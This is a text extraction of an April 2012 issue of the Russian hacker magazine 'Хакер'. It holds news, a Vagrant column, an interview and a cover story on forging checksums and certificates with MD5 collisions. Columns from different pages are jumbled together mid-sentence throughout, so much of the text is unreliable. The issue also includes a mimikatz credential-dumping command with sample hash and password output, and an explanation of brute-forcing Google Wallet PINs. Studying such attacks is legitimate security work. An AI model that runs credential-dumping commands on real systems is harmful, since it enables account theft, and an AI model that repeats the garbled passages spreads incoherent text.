Xa 159
Xa 159
Ж У Р Н А Л О Т К О М П Ь Ю Т Е Р Н Ы Х Х У Л И ГА Н О В
DuckDuckGo:
WWW.XAKEP.RU
«Google следит
за тобой, мы — нет»
04 (159) 2012 СВОЙ АЛГОРИТМ ДЛЯ TRUECRYPT
РЕКОМЕНДОВАННАЯ
ЦЕНА: 230 р.
ОПАСНЫЙ
ДВОЙНИК ЛЕГКИЙ СПОСОБ ПОДДЕЛКИ
018
024
АЛЕКСАНДР
ГАЛИЦКИЙ:
ИНЖЕНЕР,
БИЗНЕСМЕН,
ИНВЕСТОР
084
ЭКСПЛУАТИРУЕМ СИСТЕМУ
ОТЛАДКИ И ТРАССИРОВКИ
ASP .NET
Intro
РЕДАКЦИЯ
Главный редактор Никита «nikitozz» Кислицин ([email protected])
Шеф-редактор Степан «step» Ильин ([email protected])
Выпускающий редактор Николай «gorl» Андреев ([email protected])
Редакторы рубрик
PC_ZONE и UNITS Степан «step» Ильин ([email protected])
ВЗЛОМ Петр Стаховски ([email protected])
UNIXOID и SYN/ACK Андрей «Andrushock» Матвеев ([email protected])
MALWARE Александр «Dr. Klouniz» Лозовский ([email protected])
КОДИНГ Николай «gorl» Андреев ([email protected])
PR-менеджер Людмила Вагизова ([email protected])
Литературный редактор Анна Аранчук
DVD
Выпускающий редактор Антон «ant» Жуков ([email protected])
Unix-раздел Андрей «Andrushock» Матвеев ([email protected])
Security-раздел Дмитрий «D1g1» Евдокимов ([email protected])
Монтаж видео Максим Трубицын
ART
Арт-директор Алик Вайнер ([email protected])
Дизайнер Егор Пономарев
Верстальщик Вера Светлых
Иллюстрация на обложке Алексей Ляпунов и Лена Эрлих
PUBLISHING
Учредитель ООО «Гейм Лэнд», 115280, Москва,
ул. Ленинская Слобода,19, Омега плаза, 5 этаж, офис № 21. Тел.: (495) 935-7034, факс: (495) 545-0906
P.S. Как и обещал, публикую фотографию Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере
предоставляются как информация к размышлению. Лица, использующие данную информацию
логотипа Х на фоне станции «Восток» — это, на в противозаконных целях, могут быть привлечены к ответственности. Редакция не несет ответ-
минуточку, практически южный полюс. ственности за содержание рекламных объявлений в номере.За перепечатку наших материалов без
спроса — преследуем.
За фотку респект Сереге Сильнову!
По вопросам лицензирования и получения прав на использование редакционных материалов
журнала обращайтесь по адресу: [email protected].
© ООО «Гейм Лэнд», РФ, 2012
ХАКЕР 04/159/ 2012 001
Content 1100 МИНИАТЮРНЫХ РОБОТОВ
RECON SCOUT XT ПРИНЯТЫ НА
СЛУЖБУ АРМИИ США :)
008
HEADER
004 MEGANEWS 016 Колонка Степана Ильина
Все новое за последний месяц О быстром развертывании виртуальных машин
011 hacker tweets 017 Proof-of-concept
Хак-сцена в твиттере Идея: извлечь пароли пользователей Windows из памяти
COVERSTORY
024 Глаз-алмаз
Интервью с Александром
Галицким
COVERSTORY
018
Опасный двойник
Легкий способ
подделки кон-
трольной суммы
и ЭЦП с помощью
коллизий
056 116
PCZONE UNIXOID
030 Универ онлайн 102 Новые времена требуют перемен
Можно ли стать специалистом в IT, не выходя из дома? Да! Описание технологий ближайшего будущего,
036 Расшарить приложение! идущих на смену технологиям дня вчерашнего
Учимся переносить запущенные программы 106 Звенья одной цепи
с одного компьютера на другой Разбираемся с kobjects, sysfs, udev, udisks и upower
040 «Google следит за тобой. Мы — нет» 111 Битвы зеленых роботов
10 причин обратить внимание на поисковик DuckDuckGo.com Выбираем альтернативную Android-прошивку:
CyanogenMod vs MIUI
ВЗЛОМ
SYN/ACK
044 Easy-Hack
Хакерские секреты простых вещей 116 Новая эра терминальных систем
050 Обзор эксплоитов Разворачиваем инфраструктуру VDI на Win2k8R2 и Linux
Анализ свеженьких уязвимостей 122 Неизменно высокая доступность
056 ASP.NET: темная сторона трассировки Разворачиваем отказоустойчивый сервис хранения
Эксплуатируем систему регистрации и мониторинга данных на базе Samba
исключений ELMAH 128 Свежее дыхание
060 Взлом Mail.Ru Агента IT-решения от Microsoft: обзор главных новинок 2012 года
Получаем доступ к истории переписки и контактам
в популярном мессенджере
064 Будни халявщика FERRUM
Невыдуманная история о серьезных уязвимостях провайдера
068 Тибериумный реверсинг 134 Сетевой форсаж
Внедрение Х-кода и виртуальная машина: теория и практика Тестирование топовых роутеров
072 X-Tools 139 Просто конфетка!
Программы для взлома Обзор портативной акустической системы
Edifier MP15 Plus
MALWARE
ЮНИТЫ
074 С антивирусами покончено!
Последняя статья об устройстве аверов: мониторинг 140 FAQ UNITED
сетевой активности и песочницы Большой FAQ
080 Неизвестная угроза 143 Диско
Испытываем эвристику аверов на самых новых вирусах 8.5 Гб всякой всячины
144 WWW2
Удобные web-сервисы
КОДИНГ
084 Shim: новый метод инжекта
Использование Shim Engine для внедрения
088
кода и автозагрузки
True-криптование
134
Добавляем поддержку своих алгоритмов в TrueCrypt
092 Задачи на собеседованиях
Интересные задания, которые дают на собеседованиях
096 Паттерн «Шаблонный метод»
Инкапсуляция алгоритмов
100 WMI: обход защит
Неожиданный взгляд на привычные вещи
MEGANEWS
НА PASTEBIN ПОЯВИЛСЯ АНОНС ГРЯДУЩЕЙ
ОПЕРАЦИИ «ГЛОБАЛЬНЫЙ БЛЭКАУТ».
На 31 марта якобы запланирована
распределительная атака на 13 корневых
DNS-серверов.
ВЛАСТИ ИРАНА НАЧАЛИ В WINDOWS 8 НЕ БУДЕТ КНОП- В КАЗАХСТАНЕ ПРЕКРАТИ- В ANDROID MARKET FOXCONN ВЗЛОМАЛИ ХАКЕРЫ
ГЛУБОКУЮ ФИЛЬТРАЦИЮ КИ «ПУСК», хотя связанная ЛИ РАБОТУ ПРАКТИЧЕСКИ ПОЯВИЛСЯ АНТИВИРУС. ИЗ ГРУППЫ SWAGG SECURITY.
трафика на магистральных с ней функциональность все ВСЕ КРУПНЫЕ ТОРРЕНТ- Сервис Bouncer будет Данные о серверах, информа-
каналах связи, убивая все же сохранится в системе. ТРЕКЕРЫ, что связано автоматически сканировать цию о партнерах компании,
SSL-соединения. Протокол Также ОС обзавелась новым с вступившими в силу в конце все приложения на предмет логины и пароли, и даже
HTTPS не работает ни на лого. января изменениями в за- содержания вирусов и иных платежные документы Apple
одном сайте. конодательстве страны. вредоносных программ. выложили на TPB.
Реклама
MEGANEWS СОЦИАЛЬНАЯ СЕТЬ «ВКОНТАКТЕ» окончательно перебралась на международный домен vk.com.
WEXLER.BOOK T7007
ЭЛЕКТРОННАЯ КНИГА ПОД УПРАВЛЕНИЕМ ОС ANDROID 2.3
СУД ОБЯЗАЛ «ВКОНТАКТЕ» 15 АПРЕЛЯ YOTA ЗАПУ- ВЛАСТИ ШТАТА НЕВАДА В ПЕРВЫЕ ЧАСЫ ПОСЛЕ УСПЕШНУЮ DDOS-АТАКУ
выплатить компенсацию СТИТ В МОСКВЕ СЕТЬ LTE, ПРИНЯЛИ ИСТОРИЧЕСКОЕ СПЕЦОПЕРАЦИИ ПО ЗА- НА САЙТЫ АМЕРИКАНСКИХ
в размере 220 000 рублей работающую на частотах РЕШЕНИЕ: официально КРЫТИЮ MEGAUPLOAD, про- ФОНДОВЫХ БИРЖ NASDAQ,
ввиду нарушения прав интел- 2500-2530 МГц и 2620-2650 разрешили езду по трассам шедшей 19 января, трафик BATS и других осуществила
лектуальной собственности МГц. Переход с WiMAX на LTE общего назначения роботи- всемирной сети снизился группа LONGwave99. Таким
на композиции группы «Ин- состоится в ночь с 14 на 15 зированным автомобилям на 2-3%, говорят эксперты образом хакеры поддержа-
финити» и певицы Максим. апреля. без водителя. DeepField Networks. ли «движение 99%».
egaUpload закрыли, другие файловые хостинги здорово напуганы, лектронную платежную систему Google Wallet
M ноRapidShare в это время живет и здравствует.А ведь всего два года
назад файлообменник упоминался в докладе RIAA и MPAA, как одно из
Э запустили еще в середине 2011 года. Разработка
предназначена для Android-смартфонов, имею-
«известных мест» по размещению пиратского контента. Как «рапиде» удалось щих NFC. Используется данная система для платежей
уйти из-под прицела правообладателей, рассказал ресурсу TorrentFreak по беспроводной связи малого радиуса действия. То
адвокат компании Дэниел Реймер. Приведем самые интересные тезисы из его есть Google Wallet позволяет расплачиваться за покупки
рассказа: в магазинах с помощью телефона и установленного на нем
RapidShare всегда по первому требованию правообладателей удаляет специального приложения. Это не что иное, как «вирту-
любые файлы, размещенные у них на хостинге. Этим занимается специальный альный бумажник».
отдел — anti-abuse department. Кстати, подобная технология используется для оплаты
Компания разработала специальный краулер, который постоянно монито- проезда в Лондонском метро и в метро Японии. Для пере-
рит форумы, доски объявлений и варезные блоги в поиске информации о на- числения средств за покупку или проезд нужно лишь
рушении интеллектуальных прав, которые имеют место в системе RapidShare. провести телефоном рядом с терминалом оплаты.
Собранная информация оценивается, проверяется и обрабатывается все тем Вопрос безопасности подобных платежных систем
же отделом. Конечно, Реймер отказался сообщить подробности о краулере или всегда был актуальной темой. Google заверял, что Google
назвать идентификатор бота. Но отметил, что это «весьма сложная техноло- Wallet отлично защищен, — к примеру, использует микро-
гия», способная обойти практически любые способы защиты форумов от неза- схему Secure Element, где в зашифрованном виде хранит
регистрированных пользователей. пользовательские данные. Она отделена от самого теле-
Еще в декабре 2010 года компания потратила большие деньги, наняв высо- фона и ОС, так что только Google Wallet может работать
кооплачиваемую вашингтонскую фирму Dutko, которая имеет доступ в высшие с ней.
эшелоны власти и там отстаивает интересы RapidShare.В задачу Dutko также Но, как показывает практика, все, что создано
входит работа над имиджем RapidShare. и защищено человеком, может быть им же и взломано.
Еще один важный козырь живучего файлообменника — отсутствие пар- Оказалось, подобрать PIN-код к кошельку можно путем
тнерской программы. Таковые, по мнению правообладателей, стимулируют брутфорса, даже без обращения к серверу Google! Виной
пиратство. всему — уязвимости в архитектуре приложения.
Специалист по безопасности Джошуа Рубин, сотруд-
В RapidShare
уверены: файловый ник zveloLABS, решил внимательно изучить внутреннюю
хостинг должен базу данных sqlite3, где Google Wallet хранит всю информа-
выглядеть как цию. В базе обнаружилась таблица со странным названи-
приличный сервис
вроде Dropbox'а, как ем metadata. В таблице было всего три строки, но в каждой
респектабельная из них — крупный блок бинарных данных.
компания, которая
занимается исклю-
Один ряд называется gmad_bytes_are_fun — это нечто
чительно легальным вроде зашифрованной файловой системы для хранения
бизнесом. данных. Содержимое бинарных данных в этой строке явно
предполагает, что там находится вся информация о бан-
ковской карте, пишет Рубин.
Другая строка называется deviceInfo, и для понимания
этих данных пришлось выяснить, чем они обработаны.
Данные оказались скомпилированы при помощи про-
токола Protocol Buffers. Это открытая библиотека для уни-
фикации данных в сообщениях между системами. Чтобы
прочитать эти данные, необходимо указать правильный
messageformat в файле .proto (Protocol BufferBasics: Java).
Сделав подходящий .proto, Джошуа Рубин сумел прочесть
данные и был глубоко шокирован. Обнаружились Unique
User IDs (UUID), информация об аккаунтах Google (GAIA)
и Cloud to DeviceMessaging (C2DM, пуш-уведомления),
ОБНОВИЛСЯ ЛЕГЕНДАРНЫЙ МЕДИАПЛЕЕР статус Google Wallet Setup, параметр «TSA» (видимо,
Trusted Services), статус SE, и самое главное — данные
CardProduction Lifecycle (CPLC) и PIN-код!
Хэш PIN-кода хранится в зашифрованном виде
в SHA256. Но зная длину PIN-кода (а это четыре цифры),
VLC ОБНОВИЛСЯ ДО достаточно попробовать максимум 10 000 хэшей SHA256,
так что криптографическая защита перестает быть про-
ВЕРСИИ 2.0 TWOFLOWER. блемой. PIN-код подбирается менее чем за секунду даже
на смартфоне, так что смысл ограничения на пять попыток
СРЕДИ УЛУЧШЕНИЙ: ввода на сервере полностью теряется, как и смысл всей
системы безопасности Google Wallet вообще. Эксперт
ЭКСПЕРИМЕНТАЛЬНАЯ zveloLABS сообщает, что разработчики Google уже про-
информированы об уязвимости и сейчас стараются как
ПОДДЕРЖКА ДИСКОВ можно быстрее закрыть дыру. Посмотреть, как Рубин
демонстрирует уязвимость, можно здесь:
BLU-RAY И НОВЫХ ФОРМАТОВ. youtu.be/P655GXnE_ic.
Компания Google
планирует вообще
отключить онлай-
новые проверки
аннулированных
SSL-сертификатов
в будущих версиях
Chrome. Их заменят
офлайновой базой
аннулированных
сертификатов, об-
новляться которая
будет через со-
фтверные апдейты.
О БЫСТРОМ СОЗДАНИИ
ВИРТУАЛЬНЫХ МАШИН
ЗАДАЧА команда «box add <имя виртуальной машины>»
Один из важных плюсов облачных серви- отвечает непосредственно за создание вирту-
сов — возможность быстро поднять столько альной машины.
серверов, сколько нужно. Хочешь два — будет В качестве параметра ей передается путь
тебе два. Хочешь сто — два клика мышью и до специального box-файла — контейнера,
будет сто. Все зависит только от твоего ко- позволяющего быстро развернуть на вирту-
шелька, платформа же позволяет развернуть альной машине нужную ОС. Мы указали не
столько виртуальных серверов (с нужными просто путь, а ссылку: в этом случае Vagrant
ресурсами), сколько тебе нужно. С виртуаль- сам выкачивает из сети образ.
ной машиной на домашнем компьютере такой Команда «init» инициализирует ОС, причем
фокус не проходит. Чтобы создать виртуалку, в качестве параметра необходимо указать
задать ей нужные настройки и, что муторнее тип системы: в нашем случае это 32-битная Запуск виртуальной машины через Vagrant
всего, установить ОС, уходит уйма време- Ubuntu Lucid (10.04).После выполнения этих
ни. В один момент мне стало интересно: а двух команд создается полностью работоспо-
можно ли как-то автоматизировать процесс и собная виртуальная машина с 512 Мб на борту.
разворачивать новые виртуальные машины Последняя команда — «vagrant up» — лишь
по-настоящему быстро? Ну, то есть указать запускает ее в фоновом режиме.
что-то вроде: «Хочу три виртуальные машины Таким образом можно создавать и запу-
с такими-то настройками и установленную на стить нужное количество виртуалок. Управ-
них Ubuntu последней версии» — и получить лять всем этим хозяйством можно опять же
эти три виртуальные машины без лишнего через консоль Vagrant. Работающую виртуаль-
геморроя. В поисках подходящего решения ную машину можно оставить:
я наткнулся на открытый проект Vagrant
(vagrantup.com). vagrant suspend
Чтобы посмотреть статус каждой из вир-
РЕШЕНИЕ туальной машины, есть специальная команда
Используя в качестве основы бесплатный для мониторинга:
и потому особенно любимый нами Oracle's
VirtualBox (4.0.x или 4.1.x), Vagrant позволяет vagrant status
создавать и конфигурировать виртуальные
машины динамически. К любой из гостевых ОС можно подклю- На сайте vagrantbox.es доступны образы разных ОС для
быстрого развертывания
Как это происходит, предлагаю рассмотреть читься по SSH, используя сам Vagrant:
прямо на примере. Загружаем с downloads.
vagrantup.com нужную версию дистрибутива vagrant ssh
(есть версии для Windows, Linux, Mac OS X) и
поднимаем наш первый инстанс (виртуальную Если запустить приложение без параме-
машину): тров, то оно выдаст список всех доступных
команд.
$ vagrant box add lucid32 http://files. Параметры гостевых ОС можно отконфигу-
vagrantup.com/lucid32.box рировать (например, прописать статические
$ vagrant init lucid32 IP), задав нужные настройки в специальном
$ vagrant up скрипте Vagrantfile, который пишется на Ruby.
С его же помощью можно, к примеру, про-
Три команды — и новая виртуальная бросить порты до нужной тебе виртуальной
машина с установленной ОС запущена (если, машины. И, конечно же, ты можешь создавать
конечно, ты не забыл предварительно уста- свои box-файлы, из которых далее быстро раз-
новить VirtualBox)! Как несложно догадаться, вертывать гостевые ОС. Код проекта написан на Ruby
mimikatz # @getLogonPasswords
Authentification Id : 0;434898
Package d'authentification : NTLM
Utilisateur principal : Gentil User
Domaine d'authentification : vm-w7-ult
msv1_0 : lm{ e52cac67419a9a224a3b108f-
3fa6cb6d }, ntlm{ 8846f7eaee8fb117ad06bdd830b7586c }
wdigest : password
tspkg : password
ОПАСНЫЙ
018 ХАКЕР 04 /159/ 2012
Опасный двойник
DVD WARNING
На нашем диске ты Вся информация
найдешь исходники, предоставлена
описанные исключительно
в статье, примеры в ознакомительных
поддельных целях. Ни редакция,
сертификатов, ни автор не несут
а также видео, ответственности за
в котором наглядно любой возможный
показан процесс вред, причиненный
генерации коллизий. материалами данной
статьи.
ЛЕГКИЙ
СПОСОБ
ПОДДЕЛКИ
КОНТРОЛЬНОЙ
СУММЫ И ЭЦП
С ПОМОЩЬЮ
КОЛЛИЗИЙ
ДВОЙНИК
ХАКЕР 04 /159/ 2012 019
COVERSTORY
Теория
Всегда ли ты проверяешь контрольную сумму скачанных из сети же хэш-сумму, что и y. В частности, для входного значения 38 той
файлов? Думаю, нет. Хотя, конечно, для большинства юниксоидов это же хэш-суммой будут обладать входные значения 57, 76 и так далее.
привычное дело, ведь целостность и достоверность скачанных обра- Таким образом, пары входных значений (38,57), (38,76) образуют
зов и исходников порой играет важную роль. Достаточно вспомнить коллизии для хэш-функции F(x).
недавний взлом kernel.org: тогда лишь самые опытные админи- Чтобы хэш-функция F считалась криптографически стойкой,
страторы заметили подвох, сравнив контрольную сумму скачанных она должна удовлетворять трем основным требованиям, на которых
исходников с контрольной суммой, представленной на сайте. основано большинство применений хэш-функций в криптографии.
Ты наверняка знаешь, что контрольная сумма файла зачастую 1. Необратимость: для заданного значения хэш-функции m должно
представляет собой криптографические хэш-функции, самыми из- быть практически невозможно найти блок данных x, для которого
вестными из которых являются MD4, MD5 и SHA-1. Однако с недавних F(x)=m.
пор встала огромная проблема подтверждения целостности исходной 2. Стойкость к коллизиям первого рода: для заданного сообщения
информации при помощи более криптостойких алгоритмов хэширова- m должно быть практически невозможно подобрать другое со-
ния (контрольных сумм). Имя этой проблемы — коллизии криптогра- общение n, для которого F(n) = F(m).
фических хэш-функций. Так, например, если хэш-функция исполь- 3. Стойкость к коллизиям второго рода: должно быть практически не-
зуется для создания цифрового ключа, то умение строить для нее возможно подобрать пару сообщений, имеющих одинаковый хэш.
коллизии равносильно умению подделывать цифровой ключ! Именно
поэтому в идеале не должно существовать способа поиска коллизий Существует большое количество алгоритмов хэширования
для криптографических хэш-функций более быстрого, чем полный с различными характеристиками (разрядность, вычислительная
перебор (брутфорс). Если для некоторой хэш-функции находится более сложность, криптостойкость и так далее). Простейшим примером
быстрый способ, то эта хэш-функция перестает считаться крипто- хэш-функций может служить CRC, который не является алгорит-
стойкой, а также использоваться для передачи и хранения секретной мом хэш-функции, а представляет из себя алгоритм вычисления
информации. Но всегда ли это так? Оказывается, далеко не всегда. контрольной суммы. По скорости вычисления он в десятки и сотни
раз быстрее, чем криптографические хэш-функции, а также
МАТЧАСТЬ значительно проще в аппаратной реализации. Однако платой за
Итак, коллизией хэш-функции F называются два различных входных высокую скорость является возможность легко подогнать большое
блока данных — x и y — таких, что F(x) = F(y). Рассмотрим в качестве количество сообщений под заранее известную сумму. Так разряд-
примера хэш-функцию F(x) = x|19|, определенную на множестве це- ность контрольных сумм (типичное число — 32 бита) ниже, чем
лых чисел. Ее ОДЗ (из школьного курса математики ты должен знать, у криптографических хэшей (типичные числа: 128, 160 и 256 бит), что
что это такое) состоит из 19 элементов (кольца вычетов по модулю 19), означает возможность возникновения непреднамеренных коллизий.
а область определения стремится к бесконечности. Так как множе- В качестве примера можно привести следующий код на C, демон-
ство прообразов заведомо больше множества значений, коллизии стрирующий получение трех CRC-коллизий на 100 000 итераций:
обязательно существуют. Что это значит? Давай построим коллизию
для этой хэш-функции, используя входное значение 38, хэш-сумма #include <stdio.h>
которого равна нулю. Так как функция F(x) периодическая с периодом #include <unistd.h>
19, то для любого входного значения y значение y+19 будет иметь ту #include <stdlib.h>
#define INTERATION 100000
int main(){
int count =0;
int i,j;
ТАБЛИЦА ХЭШ-ФУНКЦИЙ, ДЛЯ unsigned hash;
КОТОРЫХ БЫЛИ НАЙДЕНЫ КОЛЛИЗИИ char c;
unsigned* table;
Скорость шифрования table = calloc(INTERATION,sizeof(unsigned));
Алгоритм Длинна хэш-значения
(Кбайт/с)
for(i = 0; i< INTERATION; i++){
Одновременная схема Davies-Meyer (c IDEA) 128 22
hash = 0;
Davies-Meyer (c DES) 64 9
for(j=0; 32 > j;j++){
Хэш-функция ГОСТ 256 11 c = 33 + (char) (63.0*rand()/(RAND_MAX+1.0));
HAVAL (3 прохода) переменная 168 hash = (hash * 33) + c;
HAVAL (4 прохода) переменная 118 }
HAVAL (5 прохода) переменная 95 hash = hash + (hash >> 5);
MD2 128 23 for(j=0; i > j ;j++) if (table[j] == hash) count++;
MD4 128 236 table[i]=hash;
MD5 128 174 }
N-хэш (12 этапов) 128 29
free(table);
N-хэш (15 этапов) 128 24
printf("%d values %d collisions\n",INTERATION, count);
return 0;
RIPE-MD 128 182
}
SHA 160 75
Snerfu (4 прохода) 128 48
Среди множества существующих хэш-функций принято осо-
Snerfu (8 проходов) 128 23
бенно выделять криптографически стойкие, - они применяются
Таблица хэш-функций, для которых были найдены коллизии в криптографии. К примеру, существуют два наиболее часто
A = 0x12AC2375
В = 0x3B341042
C = 0x5F62B97C
D = 0x4BA763ED
WWW
• Об алгоритме MD5:
STUXNET И ПОДДЕЛЬНЫЕ СЕРТИФИКАТЫ bit.ly/awBxKK;
• интересная
статья о коллизиях
(матчасть):
Надеюсь, ты не забыл историю с руткитом Stuxnet, когда на них :). Как бы парадоксально это не было, но существует bit.ly/byRrQu;
• MD5 Collision
троян-дроппер прогружал и запускал в системе свои драйверы, ряд доказательств, подтверждающих мои слова. Во-первых, Generator:
спокойно обходя всяческие системы предотвращения на одном закрытом форуме, где тусовались разработчики этих bit.ly/zLR5Ec;
вторжений и антивирусы? Тогда при реверс-инжиниринге нашумевших руткитов (хотелось бы особо отметить человека под • Evilize:
bit.ly/zEBLmj;
сэмплов выяснилось, что драйверы руткита были подписаны ником orr, статьи которого присутствуют на ряде авторитетных • Rainbow MD5 Crack
«настоящими» сертификатами крупных производителей паблик-ресурсов, посвященных ИБ и реверс-инжинирингу: by Collision Search:
контроллеров и чипов JMicron и Realtek. Было много шума, woodman и openrce), существовал топик о возможности кражи bit.ly/yYRUxl;
• статья Властимила
все кинулись обвинять эти компании в некомпетентности. доверенных сертификатов. В нем приводился пример с Duqu, Климы «О MD5-
Аналогичная история повторилась и с «братом» Stuxnet — сертификат (c закрытым ключом) которого был сгенерирован коллизиях»:
bit.ly/yDQNuY;
червем Duqu. На этот раз обвинили компанию C-Media Electron- с помощью коллизии. Во-вторых, если сравнить два сертификата • HashClash Frame-
ics, сертификаты которой также были якобы украдены. Все (настоящий и тот, что был сгенерирован для Duqu) по размеру, work:
вроде бы верно, но никаких краж возможно и не было! Я думаю, то окажется, что существует хоть и малая, но все же разница bit.ly/722ob;
• научные работы
ты уже понял, о чем идет речь. Поддельные сертификаты в 15 байт! Таким образом, файлы получались разные по размеру, Марка Стивенса
были сгенерированы при помощи фундаментального бага — но одинаковые по контрольной сумме. История с украденными о коллизиях:
коллизий. Антивирусы, проверяя контрольную сумму файлов, сертификатами осталась бы практически незамеченной, если бы bit.ly/ztdpHg.
не заметили никакого подвоха, а ведь все держалось именно не работа независимых ИБ-исследователей.
Практика
ОТ ТЕОРИИ К ПРАКТИКЕ
Ну что же, теперь перейдем к долгожданной практике. Среди
профессиональных криптоаналитиков есть вполне определенная
классификация типов устойчивости алгоритмов хэширования, их
всего три.
1. CR2-KK — свободный от коллизий, устойчивый к коллизиям.
2. CR1-KK — универсальный односторонний.
3. CR0 — универсальный.
НЕМНОГО ИСТОРИИ
Ганс Доббертин нашел псев- Китайские исследователи Ван Те же самые Ван Сяоюнь и Юй
1996 доколлизии в MD5, используя
определенные инициализи-
2004 Сяоюнь (Wang Xiaoyun), Фен Дэн-
гуо (Feng Dengguo), Лай Сюэцзя
2005 Хунбо опубликовали алго-
ритм, позволяющий найти две
рующие векторы, отличные от стандартных. (Lai Xuejia) и Юй Хунбо (Yu Hongbo) объявили об различные последовательности в 128 байт,
обнаруженной ими уязвимости в алгоритме, по- которые дают одинаковый MD5-хэш.
зволяющей находить коллизии за крайне малое
время (1 час на кластере IBM p690).
./good
Hello, world!
./ evil
This program is evil!!!
Erasing hard drive...1Gb...2Gb... just kidding!
Nothing was erased.
C:\coll_test> md5sum *
b2d1a3f63f9784e0fe8c237ff2484a78 *key((faked by collision).
key
a654bd700b5e6cf47ca0b042b2f30575 *cer(faked by collision).cer
c5d6aaa28639316614e3d95987fcb612 *pfx(faked by collision).pfx
a654bd700b5e6cf47ca0b042b2f30575 *cer.cer
ЗАКЛЮЧЕНИЕ
Надо признать, что MD5-хэши стали неотъемлемой частью на-
шей жизни. Они вездесущи. Их используют в качестве алгорит-
мов для хэширования паролей как в программном обеспечении,
так и на веб-ресурсах. Они не зависят ни от платформы, ни от ОС,
на которых исполняются. Векторы атак также довольно широки:
от банкоматов до цифровых подписей, от авторизации клиент-
сервер и до целостности передаваемых по сети файлов. Являясь
быстрыми и менее криптостойкими, 128-битные алгоритмы
хэширования принесут еще немало бед. На сегодняшний день
коллизии и псевдоколлизии были найдены в большом ряде алго-
ритмов, среди которых MD2, MD4, MD5, DES, DES-IDEA, RIPE-
MD, HAVAL(~128, ~256), SHA-1, ГОСТ Р 34.10-2001 и так далее. Со
Генерируем коллизии временем этот список будет только пополняться. z
ГЛАЗ-
АЛМАЗ АЛЕКСАНДР
ГАЛИЦКИЙ
ФАКТЫ
ических наук
Кандид ат техн
более
и обладатель
Изобретатель тентов
30 па
да успешных
Основатель ря х компаний
ки
технологичес
Almaz
урного фонд а
Созд атель венч s, в портфель кото-
Ca pit al Pa rtn er кс,
ании как Янде
рого такие комп war, Alter Geo
Paralle ls, Ala
рными лыжами
Ув лекается го гом
и виндсерфин
колково»
Член Совета «С
по меньшей мере, есть жила преодолеть все и там уже существуют двадцать компаний по- ная, способная и самокритичная команда.
болевые точки, удары, и они дойдут до конца, добного рода... Было бы странно поверить, что А если они на что-то не способны, то должны
они все это уже проходили. А молодой человек все будет хорошо. Особенно когда антрепренер четко открыться и сказать: у нас нет пони-
даже с суперсветлой идеей может сломаться, впервые делает компанию, имеет только идею, мания в такой-то области, или, например,
или его вообще понесет в десяток других идей, и даже прототипа как такового у него еще нет... нет в команде человека, который понимает
поэтому есть неуверенность в этом деле. Увы, это не наша стадия. маркетинг. Должны признавать: да, у нас есть
В фонде Almaz 2 мы планируем вложиться хороший человек, но мы хотели бы другого, вот
где-то в сорок компаний очень ранней стадии, КАК ПРИХОДИТЬ К ИНВЕСТОРУ? с такими-то параметрами.
когда они еще требуют небольших денег. Есть такая проблема, что люди пытаются Важно, чтобы люди понимали, в какой
Но мы будем это делать вместе с акселерато- прийти прямо ко мне. Но лучше, когда они по- рынок они играют. Нужно понимать свое место
рами, либо с какими-то инкубаторами. Кто-то падают в систему и наш процесс. Когда пишут в рынке, кто ваш реальный конкурент. Когда
другой будет «нянчить» всех этих людей, напрямую мне, я могу что-то случайно про- пишут в конкурентах Google... Ну, он у всех кон-
которые будут звонить по ночам и задавать пустить, не прочитать — сыпется очень много. курент, даже у Microsoft и IBM. Сегодня вообще
вопросы. Нас не хватит на них. Но мы сможем Начинаются обиды. Предприниматель же счи- есть всего четыре компании, которые движут
подобрать их на следующей стадии, когда они тает, что то, что у него сделано — это лучше миропонимание: Apple, Google, Facebook
уже немного оперятся и смогут двинуться на всего и неповторимо, и в мире такого больше и Amazon. Все остальные пытаются под-
следующий этап. нет. А если я не уделяю этому внимания, значит строиться, в том числе и Microsoft. Пытаются
Наш фонд старается не участвовать в опе- я идиот, или зажравшийся... человек. найти, как и где сконкурировать с этой новой
ративном управлении компаний, в которые Правильно прийти к венчурному инвесто- волной и остаться на вершине.
инвестировали. Да, приходится влиять на ру — это сначала сходить на его сайт и посмо- Народ ленится посмотреть, что, вообще-
него. Иногда. Но забирать эту пальму пер- треть, что именно он хочет, что рассчитывает то, в области есть куча проинвестированных
венства у антрепренера — самоубийство, увидеть. Как правило, мы публикуем такие компаний, у которых есть деньги. И нужно
и мы стараемся этого никогда не делать. требования. сравниться с ними с точки зрения своих ре-
сурсов, людей. Понять, как выиграть у них эту
игру. Понять, как двигаться дальше, как будут
использоваться деньги, зачем вообще нужны
деньги.
СЧИТАТЬ НАС Важно понимать: венчурный фонд — это
сервисная компания. Это не есть компания,
РОДИТЕЛЯМИ WI-FI которая ведет тебя к успеху. Это всего-навсего
сервисная компания, которая помогает тебе
НЕПРАВИЛЬНО, туда прийти. Поэтому инициатива всегда
должна находиться в руках CEO, предпринима-
НО ПЕРВЫЕ РАБОЧИЕ теля (или антрепренера, как мы чаще говорим)
и так далее.
ОБРАЗЦЫ СДЕЛАЛИ Компания для предпринимателя — ребе-
нок. Сам он — неумелый родитель. А мы —
ИМЕННО МЫ. эдакие опытные няни. С этой точки зрения,
если мы будем навязывать ему, что делать, это
будет неправильно. Он должен обращаться
В некоторые ниши мы не вкладываем- Во всем венчурном мире ты лучше работа- к нам и говорить: «Вот у меня ребенок захны-
ся. Например, в e-commerce, где логистика ешь с проектами, которые приходят по какой- кал, что делать? Какие бывают варианты, что
серьезная завязана — это требует очень то рекомендации, от человека, которому ты мне нужно сделать, чтобы он успокоился? Или
много денег. Мы все-таки небольшие фонды, доверяешь. Когда тебе говорят: «Саш, посмо- «Вот он хочет заниматься какими-то другими
и рассчитываем вложить (в «Алмазе», по три, вроде бы интересно», то в первую очередь игрушками, делать что-то другое. Что в таком
крайней мере) за время жизни семь, макси- ты, конечно, смотришь на эти проекты. случае предпринять? Дать ему возможность
мум пятнадцать миллионов в команду. Этого Я не люблю бизнес-планов. Их никто заниматься другими игрушками?». Вот здесь
явно мало для построения такого бизнеса как не любит. Это в каком-то смысле устарев- венчурный капиталист очень полезен: он мо-
e-commerce и уверенности, что эта компания ший формат. Нет, конечно, бизнес-план был жет прийти, помочь и многое сделать.
взлетит и куда-то двинется. нужен когда-то, когда не было возможности Часто венчурные капиталисты выступают
Нам ближе софтверные компании. У них запомнить и проверить все, что тебе говори- в роли такого HR или хэдхантера, помогают
большие риски, но они измеримы в реальных ли. Сейчас все это можно в два счета сделать выстроить команду, заменить, подрастить
деньгах, которые мы можем дать. Даже если в презентации на пятнадцать слайдов и все ее. Но все антрепренеры разные. Бывают
